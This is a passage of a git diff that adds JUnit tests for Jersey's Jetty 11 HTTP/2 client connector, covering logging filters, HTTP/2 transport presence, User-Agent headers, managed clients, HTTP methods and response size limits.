+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testLoggingFilterTargetInstance() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testConfigurationUpdate() {
+        Client client1 = client();
+        client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+        Client client = ClientBuilder.newClient(client1.getConfiguration());
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
new file mode 100644
index 0000000..71b1361
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the HTTP2 presence.
+ *
+ */
+public class Http2PresenceTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter,
+                String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    @Test
+    public void testHttp2Presence() {
+        final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
+        assertTrue(provider instanceof JettyHttp2ConnectorProvider);
+
+        final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target());
+        assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2);
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..cb3b319
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeadersTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter,
+                String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
new file mode 100644
index 0000000..215408b
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ManagedClientTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+    /**
+     * Managed client configuration for client A.
+     */
+    @ClientBinding(configClass = MyClientAConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public static @interface ClientA {
+    }
+
+    /**
+     * Managed client configuration for client B.
+     */
+    @ClientBinding(configClass = MyClientBConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public @interface ClientB {
+    }
+
+    /**
+     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+     * to every method that is annotated with {@link Require &#64;Require} internal feature
+     * annotation.
+     */
+    public static class CustomHeaderFeature implements DynamicFeature {
+
+        /**
+         * A method annotation to be placed on those resource methods to which a validating
+         * {@link CustomHeaderFilter} instance should be added.
+         */
+        @Retention(RetentionPolicy.RUNTIME)
+        @Documented
+        @Target(ElementType.METHOD)
+        public static @interface Require {
+
+            /**
+             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerName();
+
+            /**
+             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerValue();
+        }
+
+        @Override
+        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+            if (va != null) {
+                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+            }
+        }
+    }
+
+    /**
+     * A filter for appending and validating custom headers.
+     * <p>
+     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+     * </p>
+     * <p>
+     * On the server side, validates that each request has a custom header with a configured name and value.
+     * If the validation fails a HTTP 403 response is returned.
+     * </p>
+     */
+    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+        private final String headerName;
+        private final String headerValue;
+
+        public CustomHeaderFilter(String headerName, String headerValue) {
+            if (headerName == null || headerValue == null) {
+                throw new IllegalArgumentException("Header name and value must not be null.");
+            }
+            this.headerName = headerName;
+            this.headerValue = headerValue;
+        }
+
+        @Override
+        public void filter(ContainerRequestContext ctx) throws IOException { // validate
+            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+                        .type(MediaType.TEXT_PLAIN)
+                        .entity(String
+                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+                        .build());
+            }
+        }
+
+        @Override
+        public void filter(ClientRequestContext ctx) throws IOException { // append
+            ctx.getHeaders().putSingle(headerName, headerValue);
+        }
+    }
+
+    /**
+     * Internal resource accessed from the managed client resource.
+     */
+    @Path("internal")
+    public static class InternalResource {
+
+        @GET
+        @Path("a")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+        public String getA() {
+            return "a";
+        }
+
+        @GET
+        @Path("b")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+        public String getB() {
+            return "b";
+        }
+    }
+
+    /**
+     * A resource that uses managed clients to retrieve values of internal
+     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+     * and require a specific custom header in a request to be set to a specific value.
+     * <p>
+     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+     * with a proper value into the outgoing client requests.
+     * </p>
+     */
+    @Path("public")
+    public static class PublicResource {
+
+        @Uri("a")
+        @ClientA // resolves to <base>/internal/a
+        private WebTarget targetA;
+
+        @GET
+        @Produces("text/plain")
+        @Path("a")
+        public String getTargetA() {
+            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+        }
+
+        @GET
+        @Produces("text/plain")
+        @Path("b")
+        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+            return targetB.request(MediaType.TEXT_PLAIN).get();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    public static class MyClientAConfig extends ClientConfig {
+
+        public MyClientAConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "a"));
+        }
+    }
+
+    public static class MyClientBConfig extends ClientConfig {
+
+        public MyClientBConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "b"));
+        }
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    /**
+     * Test that a connection via managed clients works properly.
+     *
+     * @throws Exception in case of test failure.
+     */
+    @Test
+    public void testManagedClient() throws Exception {
+        final WebTarget resource = target().path("public").path("{name}");
+        Response response;
+
+        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("a", response.readEntity(String.class));
+
+        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("b", response.readEntity(String.class));
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
new file mode 100644
index 0000000..8412c41
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MethodTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @POST
+        public String post(String entity) {
+            return entity;
+        }
+
+        @PUT
+        public String put(String entity) {
+            return entity;
+        }
+
+        @PATCH
+        public String patch(String entity) {
+            return entity;
+        }
+
+        @DELETE
+        public String delete() {
+            return "DELETE";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().get().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPut() {
+        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPutAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDelete() {
+        Response response = target(PATH).request().delete();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDeleteAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().delete().get();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPatch() {
+        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+        assertEquals("PATCH", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testOptionsWithEntity() {
+        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+        assertEquals(200, response.getStatus());
+        response.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
new file mode 100644
index 0000000..1c14296
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+public class NoEntityTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public Response get() {
+            return Response.status(Response.Status.CONFLICT).build();
+        }
+
+        @POST
+        public void post(String entity) {
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testGetWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+        }
+    }
+
+    @Test
+    public void testPostWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+            cr.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
new file mode 100644
index 0000000..e3b2c3d
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class SyncResponseSizeTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+    @Path("/test")
+    public static class TimeoutResource {
+
+        private static final byte[] data = new byte[maxBufferSize];
+
+        static {
+            Byte b = "a".getBytes()[0];
+            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+        }
+
+        @GET
+        @Path("/small")
+        public String getSmall() {
+            return "GET";
+        }
+
+        @GET
+        @Path("/big")
+        public String getBig() {
+            return new String(data);
+        }
+
+        @GET
+        @Path("/verybig")
+        public String getVeryBig() {
+            return new String(data) + "a";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testDefaultSmall() {
+        Response r = target("test/small").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDefaultTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/big").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            Response r = t.path("test/big").request().get();
+            String p = r.readEntity(String.class);
+            assertEquals(p.length(), maxBufferSize);
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/verybig").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
new file mode 100644
index 0000000..59f242e
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.CommonProperties;
